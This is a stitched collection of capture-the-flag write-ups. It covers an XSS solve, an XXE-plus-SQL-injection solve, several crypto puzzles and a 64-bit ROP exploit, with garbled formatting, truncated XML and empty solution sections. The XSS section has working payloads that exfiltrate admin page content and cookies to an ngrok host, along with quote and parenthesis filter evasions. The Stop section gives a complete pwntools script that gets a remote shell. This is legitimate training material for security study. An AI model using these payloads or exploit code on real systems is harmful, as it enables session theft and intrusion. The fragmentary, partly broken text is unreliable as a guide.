1.0.0.127.in-addr.arpa127.0.0.1 - - [25/May/2020 00:12:55] "GET /?c=%3C!doctype%20html%3E%3Chtml%3E%20%20%20%20%3Chead%3E%20%20%20%20%20%20%20%20%3Cmeta%20charset=%22utf-8%22%3E%20%20%20%20%20%20%20%20%3Cmeta%20name=%22viewport%22%20content=%22width=device-width,%20initial-scale=1,%20shrink-to-fit=no%22%3E%20%20%20%20%20%20%20%20%3Ctitle%3ETextbin%3C/title%3E%20%20%20%20%20%20%20%20%3Clink%20rel=%22stylesheet%22%20href=%22https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css%22%20integrity=%22sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T%22%20crossorigin=%22anonymous%22%3E%20%20%20%20%20%20%20%20%3Clink%20rel=%22stylesheet%22%20href=%22/static/css/style.css%22%3E%20%20%20%20%3C/head%3E%20%20%20%20%3Cbody%3E%20%20%20%20%20%20%20%20%3Cnav%20class=%22navbar%20navbar-expand-lg%20navbar-light%20bg-light%22%3E%20%20%20%20%20%20%20%20%20%20%3Cbutton%20class=%22navbar-toggler%22%20type=%22button%22%20data-toggle=%22collapse%22%20data-target=%22 HTTP/1.1" 301 -```
- Getting the ADMIN_CONSOLE class items to see what the ADMIN looks at. Getting DIV class items ```<script>fetch("http://127.0.0.1:1337/posts/2RiNxcjPu3MRi5xy").then(response => response.text()).then(html => {return fetch("https://e96f25fb.ngrok.io/?c=".concat(document.getElementsByClassName("admin_console")[0].textContent),{credentials:'include'})});</script>```Output - shows admin has a way to access the flag```/?c=%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Access%20FlagDelete%20UserDelete%20Post/?c= Access FlagDelete UserDelete PostHost: e96f25fb.ngrok.ioUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.61 Safari/537.36Accept: */*Origin: http://127.0.0.1:1337Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:1337/posts/GoRSCwsdsZyjwByuAccept-Encoding: gzip, deflate, brAccept-Language: en-USX-Forwarded-Proto: httpsX-Forwarded-For: 3.83.190.219
1.0.0.127.in-addr.arpa127.0.0.1 - - [25/May/2020 00:16:24] "GET /?c=%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20Access%20FlagDelete%20UserDelete%20Post HTTP/1.1" 301 -```
- I realized after hours that I was getting chunked HTML of ADMIN as it was get. Switching to POST to dump the full body```<script>fetch("http://127.0.0.1:1337/posts/GoRSCwsdsZyjwByu").then(response => response.text()).then(html => {return fetch("https://e96f25fb.ngrok.io/?c=".concat(document.cookie),{method:'POST', credentials:'include', body: html})});</script>```Output shows the full html to get the flag at `/admin_flag````/?c=hint=%22Check%20the%20admin%20console!\012%22Host: e96f25fb.ngrok.ioContent-Length: 4369User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.61 Safari/537.36Content-Type: text/plain;charset=UTF-8Accept: */*Origin: http://127.0.0.1:1337Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:1337/posts/gZg3cALFJW3OUnIiAccept-Encoding: gzip, deflate, brAccept-Language: en-USX-Forwarded-Proto: httpsX-Forwarded-For: 3.83.190.219
<html> <head> <meta charset="utf-8"> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"> <title>Textbin</title> <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/css/bootstrap.min.css" integrity="sha384-ggOyR0iXCbMQv3Xipma34MD+dH/1fQ784/j6cY/iJTQUOhcWr7x9JvoRxT2MZw1T" crossorigin="anonymous"> <link rel="stylesheet" href="/static/css/style.css"> </head> <body> <nav class="navbar navbar-expand-lg navbar-light bg-light"> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarNav" aria-controls="navbarNav" aria-expanded="false" aria-label="Toggle navigation"> <span></span> </button> <div class="collapse navbar-collapse" id="navbarNav"> Home<span>(current)</span> </div> </nav> <div class="container"> <div class="row"> <div class="col-12"> <h1>Textbin</h1> </div> </div> <div class="row"> <div class="col-8 textbody"> <script>fetch("http://127.0.0.1:1337/posts/2RiNxcjPu3MRi5xy").then(response => response.text()).then(html => {return fetch("https://e96f25fb.ngrok.io/?c=".concat(document.getElementsByClassName("admin_console")[0].textContent),{credentials:'include'})});</script> </div> </div> <div class="row"> <div class="col-8" > <small>By user secret</small> </div> </div>
<div class="row" style="margin-bottom:10px"> <div class="col-8" > <button type="button" class="btn btn-warning" id="report">Report to Admin</button> </div> </div> <div class="row"> <div class="col-8 admin_console" > <button class="btn btn-primary flag-button">Access Flag</button>
Delete User
Delete Post </div> </div> <div id="responseAlert" class="alert alert-info" role="alert"></div> </div> <script src="https://code.jquery.com/jquery-3.3.1.min.js" crossorigin="anonymous"></script> <script src="https://cdnjs.cloudflare.com/ajax/libs/popper.js/1.14.7/umd/popper.min.js" integrity="sha384-UO2eT0CpHqdSJQ6hJty5KVphtPhzWj9WO1clHTMGa3JDZwrnQq4sF86dIHNDz0W1" crossorigin="anonymous"></script> <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js" integrity="sha384-JjSmVgyd0p3pXB1rRibZUAYoIIy6OrQ6VrjIEaFf/nJGzIxFDsf4x0xIM+B07jRM" crossorigin="anonymous"></script> <script> $('#responseAlert').css('display','none'); $('#report').on('click',function(e){ $.ajax({ type: "GET", url: window.location.pathname+"/report", success: function(resp) { $("#responseAlert").text(resp); $("#responseAlert").css("display",""); } }) });
var flag=''; f=function(e){
$.ajax({ type: "GET", url: "/admin_flag", success: function(resp) { flag=resp;$("#responseAlert").text(resp); $("#responseAlert").css("display",""); } }) return flag; }; $('.flag-button').on('click',f);
</script> </body></html>--------------```
3. OK, Now we know what to get. From ADMINs context with XSS we fetch `/admin_flag` and return the contents to US or our C&C server. Sounds easy but there is a catch, there is a XSS filter to evade.....```<script>fetch("http://127.0.0.1:1337/admin_flag").then(function(response){response.text().then(function (text) {return fetch("https://e96f25fb.ngrok.io/?c=".concat(text),{credentials:'include'})})});</script>```Output shows filter results```/?c=This%20post%20contains%20unsafe%20content.%20To%20prevent%20unauthorized%20access,%20the%20flag%20cannot%20be%20accessed%20for%20the%20following%20violations:%20Script%20tags%20found.%20Single%20quote%20found.%20Double%20quote%20found.%20Parenthesis%20found./?c=This post contains unsafe content. To prevent unauthorized access, the flag cannot be accessed for the following violations: Script tags found. Single quote found. Double quote found. Parenthesis found.Host: e96f25fb.ngrok.ioUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.61 Safari/537.36Accept: */*Origin: http://127.0.0.1:1337Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:1337/posts/%21ulbjiWx%21OObjLFPAccept-Encoding: gzip, deflate, brAccept-Language: en-USX-Forwarded-Proto: httpsX-Forwarded-For: 3.83.190.219
1.0.0.127.in-addr.arpa127.0.0.1 - - [25/May/2020 00:18:50] "GET /?c=This%20post%20contains%20unsafe%20content.%20To%20prevent%20unauthorized%20access,%20the%20flag%20cannot%20be%20accessed%20for%20the%20following%20violations:%20Script%20tags%20found.%20Single%20quote%20found.%20Double%20quote%20found.%20Parenthesis%20found. HTTP/1.1" 301 -```
- Blah, XSS fiter is in place. We need to evade the XSS filter now. For a moment I thought I could evade the filter by altering the referer header so the page does not see the tags or xss payload. Did not work!!!```<script>fetch("http://127.0.0.1:1337/admin_flag",{method: 'POST', headers: {'Referer', 'http://127.0.0.1:1337/posts/77tOfu7nFG5MvySD'}}).then(function(response){response.text().then(function (text) {return fetch("https://e96f25fb.ngrok.io/?c=".concat(text),{credentials:'include'})})});</script>```
4. Evading SCRIPT tag ( even the javascript tag does not work )```<BODY ONLOAD='(function(){return fetch("http://127.0.0.1:1337/admin_flag").then(function(response){response.text().then(function (text) {return fetch("https://e96f25fb.ngrok.io/?c=".concat(text))})})})(this)'>```
```/?c=This post contains unsafe content. To prevent unauthorized access, the flag cannot be accessed for the following violations: Single quote found. Double quote found. Parenthesis found.```
5. Evading double quotes```<BODY ONLOAD='(function(){return fetch(String.fromCharCode(104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,49,51,51,55,47,97,100,109,105,110,95,102,108,97,103)).then(function(response){response.text().then(function (text) {return fetch(String.fromCharCode(104,116,116,112,115,58,47,47,101,57,54,102,50,53,102,98,46,110,103,114,111,107,46,105,111,47,63,99,61)+text)})})})(this)'>``````/?c=This post contains unsafe content. To prevent unauthorized access, the flag cannot be accessed for the following violations: Single quote found. Parenthesis found.```
6. Evading single quotes by using backticks7. Evading brackets```<BODY ONLOAD=setInterval`\x28function\x28\x29{fetch\x28String.fromCharCode\x28104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,49,51,51,55,47,97,100,109,105,110,95,102,108,97,103\x29\x29.then\x28function\x28response\x29{response.text\x28\x29.then\x28function\x28text\x29{fetch\x28String.fromCharCode\x28104,116,116,112,115,58,47,47,101,57,54,102,50,53,102,98,46,110,103,114,111,107,46,105,111,47,63,99,61\x29+text\x29}\x29}\x29}\x29\x28this\x29`>```Output - I thought I evaded everything to end up at BACKTICK only again```/?c=This post contains unsafe content. To prevent unauthorized access, the flag cannot be accessed for the following violations: Backtick found.```
8. Evading backtick by replacing with ``` and setInterval or setTimeout9. Flag Finally!
Payload```<BODY ONLOAD=setInterval`\x28function\x28\x29{fetch\x28String.fromCharCode\x28104,116,116,112,58,47,47,49,50,55,46,48,46,48,46,49,58,49,51,51,55,47,97,100,109,105,110,95,102,108,97,103\x29\x29.then\x28function\x28response\x29{response.text\x28\x29.then\x28function\x28text\x29{fetch\x28String.fromCharCode\x28104,116,116,112,115,58,47,47,101,57,54,102,50,53,102,98,46,110,103,114,111,107,46,105,111,47,63,99,61\x29+text\x29}\x29}\x29}\x29\x28this\x29`>```
Output```/?c=tjctf{st0p_st3aling_th3_ADm1ns_fl4gs}/?c=tjctf{st0p_st3aling_th3_ADm1ns_fl4gs}Host: e96f25fb.ngrok.ioUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.61 Safari/537.36Accept: */*Origin: http://127.0.0.1:1337Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: http://127.0.0.1:1337/posts/D3Lkj1pQ18xOgMGEAccept-Encoding: gzip, deflate, brAccept-Language: en-USX-Forwarded-Proto: httpsX-Forwarded-For: 3.83.190.219
1.0.0.127.in-addr.arpa127.0.0.1 - - [24/May/2020 22:14:06] "GET /?c=tjctf{st0p_st3aling_th3_ADm1ns_fl4gs} HTTP/1.1" 301 -```
### References```* https://www.blackhat.com/docs/eu-14/materials/eu-14-Javed-Revisiting-XSS-Sanitization-wp.pdf* https://null-byte.wonderhowto.com/how-to/advanced-techniques-bypass-defeat-xss-filters-part-1-0190257/* https://stackoverflow.com/questions/27678052/usage-of-the-backtick-character-in-javascript* http://cubalo.github.io/blog/2014/01/04/bypassing-xss-filters-using-data-uris/* https://security.stackexchange.com/questions/173032/xss-payload-without* https://portswigger.net/support/bypassing-signature-based-xss-filters-modifying-html* https://brutelogic.com.br/blog/quoteless-javascript-injections/* https://davidmurdoch.com/2017/09/02/the-grave-accent-and-xss/* https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md* https://github.com/s0md3v/AwesomeXSS#awesome-payloads* https://portswigger.net/web-security/cross-site-scripting/cheat-sheet* https://owasp.org/www-community/xss-filter-evasion-cheatsheet* https://xsses.rocks/sample-page/* https://stackoverflow.com/questions/4342124/inline-event-handlers-and-anonymous-functions* https://portswigger.net/research/xss-without-parentheses-and-semi-colons* https://security.stackexchange.com/questions/71317/stored-cross-site-scripting-without-parentheses-or-spaces* https://stackoverflow.com/questions/40898632/parentheses-alternatives-in-js-if-any``` |
# Skygenerator> Want the flag? Better try harder!Note: The flag is located into the flag tableHint: PHP source code and XML don't go along very wellAuthor: @lpezzolla
Link: https://challs.m0lecon.it:8000/
Points: 153
Solves: 32
Tags: web, xxe, CDATA, SQLite, PHP, Parameterized Query
## Initial StepsWe are given a simple website where we can create an account, login and upload an xml file which contains tags for stars which have a text and a position. Thus my first instinct was to do try XXE injection.
## Simple XXE to read local filesI intercepted the XML upload request with Burp and sent it to Repeater, so that I can simply modify and repeat it.
We try a simple XXE to leak a local file:
```xml
]><sky> <star x="0" y="200">&tes;;</star></sky>```
It works! We get back a sky image which contains the file content as text. We can not only leak files but also list directories! I looked around and found this interesting one:> /var/www/html/skygenerator/public
Some files look very interesting, e.g. *admin_dashboard.php*. There is also a SQLite database *skygenerator.db* in another folder. Unfortunatly we get an error when trying to leak any of these files. Not even [Out-of-band XXE using a DTD](https://dzone.com/articles/out-of-band-xml-external-entity-oob-xxe) hosted on my server worked. Luckily there was the hint.
## Advanced XXE to read local php filesWe know that trying to read php files results in an error. This makes sense as the raw php code would just be inserted inside the XML messing with its syntax, not allowing a valid image to be generated.
Thus we try to wrap it in a CDATA block
From https://en.wikipedia.org/wiki/CDATA#CDATA_sections_in_XML:```A CDATA section is a piece of element content that is marked up to be interpreted literally, as textual data, not as marked up content. ```
However simply doing this doesn't work, as then the entity refernce *&tes;;*would be treated as plain text and not replaced:```xml<star x="0" y="200"></star>```
But we can use some [DTD Magic](https://dzone.com/articles/xml-external-entity-xxe-limitations) to wrap the php code after it has been inserted. For this we submit the following XML:```xml
%dtd; %all;]><sky> <star x="0" y="0">&fileContents;</star></sky>```
In addition we host the following *evil.dtd* file on our public server EXAMPLE:```xml
">">```
Holy shit that works! Here are the interesing files:
> admin_dashboard.php (top-half)
> admin_dashboard.php (bottom-half) (received by setting the stars y-coordinate to -720)
> config.php
The admin dashboard looks very interesting, since it allows us access to the database. However we can see in the source code that our role has to be "admin". This is where the *config.php* helps us.
## Fake cookie to access admin panel
From *config.php* we can extract the secret key, used to sign JWT session cookies:```Vb8lckQX8LFPq45Exq5fy2TniLUplKGZXO2```
We use https://jwt.io/, paste our cookie and changes the role string to "admin" with length 5. Then we replace our cookie. Now we can access /admin_dashboard!
## SQLite InjectionLooking at the source code of *admin_dashboard.php* I spotted a vulnerability in the parameterized query. $key is insterted directly into query instead of as a parameter!
Since I never did this sort of injection before and it was not straightforward, I proceeded to build a local setup replicating the functionality of the admin dashboard, to be able to debug the queries better. There were several character that were not possible in the injection, due to how PHP handles them. For each I had to find a replacement:- " " -> /**/- "." -> CHAR(46)- "+" -> ||
Finally I came up with this payload. I inserted it directly into the page so I can simply download the zip file, instead of getting it in raw form in Burp.
Inserted in /admin_dashboard:```html<input type="number" class="form-control" name="user_id" id="user_id" required="" value="-1">
<input name="2>1/**/UNION/**/SELECT/**/'/var/www/html/skygenerator/data/skygenerator'||CHAR(46)||'db'--" value="1337">```The name of the second input tag will map to $key.
Thus the local query would look like this:```sqlSELECT filename FROM skies WHERE user_id=:user_id AND 2>1/**/UNION/**/SELECT/**/'/var/www/html/skygenerator/data/skygenerator'||CHAR(46)||'db'--```The idea is that the first SELECT does not return any result, because it set user_id=-1. The second SELECT will return the path to the SQLite database, which the server will then zip and send to us.
## Extract flag from leaked databaseUsing *sqlite3* I can browse the database and find the flag.
```bash$: sqlite3 skygenerator.dbSQLite version 3.29.0 2019-07-10 17:32:03Enter ".help" for usage hints.sqlite> .tablesflag skies userssqlite> SELECT * FROM flag;ptm{XSS_4r3_b4d_sh1t_YN8aSUf8m0E8}```
Finally we have the flag in this "warmup" challenge:```ptm{XSS_4r3_b4d_sh1t_YN8aSUf8m0E8}```
## Slighly different solutionCheck out [PinkDraconian's video](https://www.youtube.com/watch?v=dznJXW_w5Y8). Instead of downloading the database he used SQL's SUBSTR function and a script to extract the flag from the flag table. |
# CH₃COOH #### 50 Points ###
'<Owaczoe gl oa yjirmng fmeigghb bd tqrrbq nabr nlw heyvs pfxavatzf raog ktm vlvzhbx tyyocegguf. Tbbretf gwiwpyezl ahbgybbf dbjr rh sveah cckqrlm opcmwp yvwq zr jbjnar. Slinjem gfx opcmwp yvwq gl demwipcw pl ras sckarlmogghb bd xhuygcy mk ghetff zr opcmwp yvwq ztqgckwn. Rasec tfr ktbl rrdrq ht iggstyk, rrnxbqggu bl lchpvs zymsegtzf. Tbbretf vq gcj ktwajr ifcw wa ras psewaykm npmg: nq t tyyocednz, nabrva vcbibbt gguecwwrlm, ce gg dvadzvlz. Of ras zmlh rylwyw foasyoprnfrb fwyb tqvb, bh uyl vvqmcegvoyjr vnb t kvbx jnpbsgw ht vlwifrkwnj tbq bharqmwp slsf (qnqu yl wgq ngr yl o umngrfhzq aesnlxf). Jfbzr tbbretf zydwae fol zx of mer nq tzpmacygv pecpwae, mvr dbffr wcpsfsarxr rtbrrlvs bd owaczoe ktyvlz oab ngr utg ow mvr Ygqvcgh Oyumymgwnll oemnbq 3000 ZV. Hucr degfoegem zyws iggstyk temf rnrxg, sgzg, nlw prck oab ngrb bh smk pbra qhjbbnpr oab fsqgvwaye dhpicfcl. Heyvsf my wg yegb ftjr zxsa dhiab bb Rerdggtb hpgg. Vl Xofr Tgvy, mvr Aawacls oczoa nkcsclgvmgoygswae owaczoe nkcqsvhvmg wa ras Mfhi Qwgofrr. Wa ras omhy Mfhi Yg, bh zcghvmgg zygm amuzr mk fbwtz umngrfhzqq aoq y “owaczoe ktyrp” tg n qispgtzvxxr cmlwgghb. Zmlh iggstyk anibbt rasa utg pmgqrlmfnrxr vl pvnr bg amp Guyglv nkciggqr lxoe ras pgmm Gybmhyg kugvv ecfovll o syfchq owaczoe ktyvlz frebca rhrnw. Foaw Vvvlxgr tbbretff ygr gfxwe slsf dhf psewaykm nlw arbbqvltz cskdbqxg jcks jpbhgcg rbug wa ras nekwpsehhptz zyginj Jwzgg Mnmlvh. pmqc{tbbretf_bl_fm_sglv_nlw_qugig_cjxofc}>'
Dev: William Hint! Short keys are never a good thing in cryptography.
### Solution: ### Short key, first crypto in a CTF? Just smells of a Vigenere cipher. Google “vigenere decoder” and you’ll come up with a couple tools that will brute force this and use letter analysis to figure out which is most likely to be the right flag. In this case “tony” comes up pretty quick and you can pull the flag out.
### Flag: ### rtcp{vinegar_on_my_fish_and_chips_please}
# "fences are cool unless they're taller than you" - tida #### 50 Points ###
“They say life's a roller coaster, but to me, it's just jumping over fences.”
tat_uiwirc{s_iaaotrc_ahn}pkdb_esg
### Solution: ### Google “fence cipher” and you’ll read about the Rail Fence Cipher. Throw the encrypted flag into CyberChef and choose “Rail Fence Cipher Decode” and fiddle with some settings. When you go from key 2 to key 3 things look much better. It still wraps the r to the end of the string, but you just fix that manually. Be VERY careful about copying the ciphertext. An extra space or CR at the end will throw everything off.
### Flag: ### rtcp{ask_tida_about_rice_washing}
# Returning Stolen Archives #### 50 Points ###
Fried eggs are the best. Oh no! I broke my yolk... well, I guess I have to scramble it now.
Ciphertext: smdrcboirlreaefd
Dev: Delphine Hint! words are separated with underscores
### Soulution: ###
### Flag: ###
# Broken Yolks #### 518 Points ###
Fried eggs are the best. Oh no! I broke my yolk... well, I guess I have to scramble it now.
Ciphertext: smdrcboirlreaefd Hint! words are separated with underscores
### Solution: ### Why hello Google, my old friend. Search for “scramble cipher” and you’ll pull up a few tools that extract words from a string of text to help with solving anagrams. Looking at those words “scrambled” sticks out with all of the egg references in the title and help text. Remove those letters and you have “doirref”. Run it through again or think in scrable tiles and you’ll see “fried or” as an anagram that fits nicely to give you….
### Flag: ### rtcp{fried_or_scrambled}
# Rivest Shamir Adleman #### 831 Points ###
A while back I wrote a Python implementation of RSA, but Python's really slow at maths. Especially generating primes.
Dev: Tom Hint! There are two possible ways to get the flag ;-)
### Solution: ###
### Flag: ###
# Post-Homework Death #### 1,173 Points ###
My math teacher made me do this, so now I'm forcing you to do this too.
Flag is all lowercase; replace spaces with underscores.
Dev: Claire Hint! When placing the string in the matrix, go up to down rather than left to right. Hint! Google matrix multiplication properties if you're stuck.
### Solution: ###
### Flag: ###
# Parasite #### 1,262 Points ###
paraSite Killed me A liTtle inSide
Flag: English, case insensitive; turn all spaces into underscores
Dev: Claire Hint! Make sure you keep track of the spacing- it's there for a reason
### Soluton: ### This one gave us fits. The text was in Morse code, but the letters made no sense whatsoever. Just for kicks, we ran them through a few cipher decoders with no effect. The Morse code had a number of single and double spaces that looked suspiciously like fractionated Morse code to our resident Morse geek. Perhaps the pattern in the hint represented delimiters? After an hour or so of playing with offsets and separators, it became evident that this was not the case.
One of our teammates again pointed to the hint and noticed that S-K-A-T-S were capitalized. He found that SKATS stood for South Korean Alphabet Transliteration System (also known as Korean Morse equivalents). He also saw the Korean movie Parasite and remembered a scene where one of the characters used Morse code to communicate. Using the SKATS table, our teammate managed to translate each letter into the corresponding Hangul characters. Unfortunately, he was a native english speaker and was stuck. Google Translate was not working very well (as is often the case with Asian characters).
Luckily, one of our team members lives in the heart of K-Town and was able to lean on his friendly neighborhood Korean family for some help with Hangul.
### Flag: ### rtcp{hope_is_the_true_parasite}
# Sizzle #### 1,345 Points ###
Due to the COVID-19 outbreak, we ran all out of bacon, so we had to use up the old stuff instead. Sorry for any inconvenience caused...
Dev: William
Hint! Wrap your flag with rtcp{}, use all lowercase, and separate words with underscores. Hint! Is this really what you think it is?
### Solution:### Bacon is quite yummy, but pork products probably weren't what the devs meant for this one. Bacon refers to the Baconian Cipher devised by Francis Bacon in 1605. The Baconian cipher is a 5-bit binary cipher where each letter of plaintext is represented by a group of five of “A” or “B” letters. In this case, the encoded text was a block of Morse code that translated to gibberish. Recognizing that every “letter” was five characters long, I used a quick regex script to replace each “dot” with an “A” and each “dash” with a “B”. This created Baconian letters that were easily translated using the Bacon Decoder at dcode.fr.
### Flag: ### rtcp{BACON_BUT_GRILLED_AND_MORSIFIED}
# Rainbow Vomit #### 1,585 Points ###
o.O What did YOU eat for lunch?!
The flag is case insensitive.
Dev: Tom Hint! Replace spaces in the flag with { or } depending on their respective places within the flag. Hint! Hues of hex Hint! This type of encoding was invented by Josh Cramer.
### Solution: ### First open this image up in a proper editor. Opening it up in a browser or image view tends to blur the image when you zoom way in. Opening it in Gimp and zoom in so you see individual pixels. I first noticed there were not a lot of colors and it looked kind of like an old CGA palette. Using the color picker I grabbed a few and based on the CYMK values thought each one could be a nibble. I transcoded it and joined two colors into bytes. Once I converted that to ASCII it was pretty obviously jiberish. I poked at it a few more times, but no good ideas.
Either the hints weren’t there when I first started or, more likely, I didn’t read them. Luckily one of my teammates recognized it or was better at google and came up with Hexahue encoding. We manually transcoded a couple letters and it was definitely the answer and we couldn’t find any pre built decoding apps so I made this hideous python script to print out the whole thing. Giving you….
“there is such as thing as a tomcat but have you ev er heard of a tomdog. this is the most important q uestion of our time, and unfortunately one that ma y never be answered by modern science. the definit ion of tomcat is a male cat, yet the name for a ma le dog is max. wait no. the name for a male dog is just dog. regardless, what would happen if we wer e to combine a male dog with a tomcat. perhaps wed end up with a dog that vomits out flags, like thi s one rtcp should,fl5g4,b3,st1cky,or,n0t”
### Flag: ### rtcp{should,fl5g4,b3,st1cky,or,n0t}
# 11 #### 1,777 Points ###
I wrote a quick script, would you like to read it? - Delphine
(doorbell rings) delphine: Jess, I heard you've been stressed, you should know I'm always ready to help! Jess: Did you make something? I'm hungry... Delphine: Of course! Fresh from the bakery, I wanted to give you something, after all, you do so much to help me all the time! Jess: Aww, thank you, Delphine! Wow, this bread smells good. How is the bakery? Delphine: Lots of customers and positive reviews, all thanks to the mention in rtcp! Jess: I am really glad it's going well! During the weekend, I will go see you guys. You know how much I really love your amazing black forest cakes. Delphine: Well, you know that you can get a free slice anytime you want. (doorbell rings again) Jess: Oh, that must be Vihan, we're discussing some important details for rtcp. Delphine: sounds good, I need to get back to the bakery! Jess: Thank you for the bread! <3
Dev: Delphine
edit: This has been a source of confusion, so: the code in the first hint isn't exactly the method to solve, but is meant to give you a starting point to try and decode the script. Sorry for any confusion. Hint! I was eleven when I finished A Series of Unfortunate Events. Hint! Flag is in format:
rtcp{.*}
add _ (underscores) in place of spaces. Hint! Character names count too
### Solution: ###
### Flag: ###
# .... .- .-.. ..-. #### 1,882 Points ###
Ciphertext: DXKGMXEWNWGPJTCNVSHOBGASBTCBHPQFAOESCNODGWTNTCKY
Dev: Sri Hint! All letters must be capitalized Hint! The flag must be in the format rtcp{.*}
### Solution: ###
### Flag: ### |
# StopPwn, 70
> Written by KyleForkBomb> I love playing stop, but I am tired of losing. Check out my new stop answer generator! It's a work in progress and only has a few categories, but it's 100% bug-free!> nc p1.tjctf.org 8001
This is another buffer overflow challenge. Since the binary is 64 bit, arguments are passed in registers, making ROP slightly more difficult. Luckily, we can use a couple gadgets in `__libc_csu_init` (`pop` and `call` in the script below) to set up arguments. We leak a libc address with printf, set up a `system`'s address and argument in `bss`, and use the `__libc_csu_init` gadgets again to get a shell.
```pythonfrom pwn import *import time
pop = 0x40094acall = 0x400930read = 0x4008e0bss = 0x602000getchar = 0x601fe8pread = 0x400398printf = 0x4005a0rdi = 0x400953main = 0x40073c
got = 0x601fe0
#p = process("./stop")p = remote("p1.tjctf.org", 8001)#gdb.attach(p)p.sendline("a")p.sendline("A"*256+"B"*24+p64(0x40056e)+p64(rdi)+p64(got)+p64(printf)+p64(pop)+p64(0)+p64(1)+p64(pread)+p64(0)+p64(bss)+p64(0x4141)+p64(call)+p64(0)+p64(0)+p64(1)+p64(bss+8)+p64(bss)+p64(0)+p64(0)+p64(0x40056e)+p64(call))p.recvuntil("yet\n")printf = u64(p.recvuntil("\x7f")+"\x00\x00")system = printf-0x15a40#system = printf-0xE2A0print(hex(system))p.sendline("/bin/sh\x00"+p64(system))p.interactive()```
Flag: `tjctf{st0p_th4t_r1ght_now}` |
# TJCTF – Gym
* **Category:** reversing* **Points:** 20
## Challenge
> Aneesh wants to acquire a summer bod for beach week, but time is running out. Can you help him create a plan to attain his goal?> Attachment :> > binary> >> > nc p1.tjctf.org 8008
## Solution
when we run the binary we see its a gym simulation:

so we see that we have to reach a 180 from 211 thats 31 lbs down
lets disassemble the main function to see what does what :

it seems like each activity has a certain effect on weight :
```eat healthy : -4do 50 push-ups : -1go for a run : -2sleep 8 hours : -3```
and we can only do 8 activities
obviously we cant achieve our goal using these number
but we see that for some reason when you go for a run you also sleep for 8 hours (I guess you get tired idk)
so you get an extra `-3` for the run option
in that way we can run for 6 times and then do 50 push ups : `-4*6 -1 = -31`
so by doing only that we get our flag
```tjctf{w3iGht_l055_i5_d1ff1CuLt}``` |
# tjctf: binary
## Stop [70]
Written by KyleForkBomb
_I love playing stop, but I am tired of losing. Check out my new stop answer generator!_
_It's a work in progress and only has a few categories, but it's 100% bug-free!_
`nc p1.tjctf.org 8001`
## Inspection
```bash$ ./stop.oWhich letter? _```
As difficulty ramps up, so does source code complexity:
```cint get_letter(){ int c = getchar(); ... }int get_category(char *s){ ... }int main() { char s1[256]; // [rsp+0h] [rbp-110h] int category; // [rsp+100h] [rbp-10h] int s_len; // [rsp+104h] [rbp-Ch] int letter; // [rsp+108h] [rbp-8h] int i; // [rsp+10Ch] [rbp-4h]
printf("Which letter? ", 0LL); letter = get_letter(); getchar(); if ( letter == -1 ) { printf("That's not a letter!\n"); return 1; printf("\n"); for ( i = 0; i <= 4; ++i ) printf("%s\n", categories[i]); printf("\n"); printf("Category? "); s_len = read(0LL, s1, 598LL); //BOF here! s1[s_len - 1] = '\0'; category = get_category(s1); if ( category == -1 ) printf("\nSorry, we don't have that category yet\n"); else printf("\nYour answer is: %s\n", answers[category + 5LL * letter]);}```Let's start off simple. There is a buffer overflow (of `0x256` on `s1[256]`) without any stack protector to halt it:
Since the buffer overflow's at `"Category? "`, we ignore `get_letter()` for now<sup>1</sup>. Taking a look at `get_category()`, there's not much to be done there either — it just gives back a small value within the boundaries of `answers[]`. ```cint get_category() { int i; for ( i = 0; i <= 4; ++i ) { if ( !strcasecmp(categories[i], a1) ) return (unsigned int)i; } return 0xFFFFFFFFLL;}```What we're left with is an 0x256-256-24 == 326 byte buffer overflow, with little else to do. Where do we go from here?
## Gadget Grabbing
Running `ropper` on the binary, I noticed a curio:
The binary has a `syscall` instruction in it, which is naturally indicative of a Return Oriented Programming attack vector. This also brought to attention something I'd failed to notice in IDA: the `read()` function is actually implemented as a syscall wrapper in `Stop`:

With that in mind, we've a simple strategy to get through to `/bin/sh`:1. overflow to the return pointer2. set a ROP chain to rax=59, rdi="/bin/sh", rsi=rdx=03. `syscall` to execve("/bin/sh")4. Use `read()` to write extra rop-chains if 326 bytes isn't enough<sup>2</sup>
(1) is simple enough. Using `pwn.cyclic()`, we can find the offset to the first return pointer in `gdb`:

Doing (2)? Not as simple.
## Black Magic

*404*
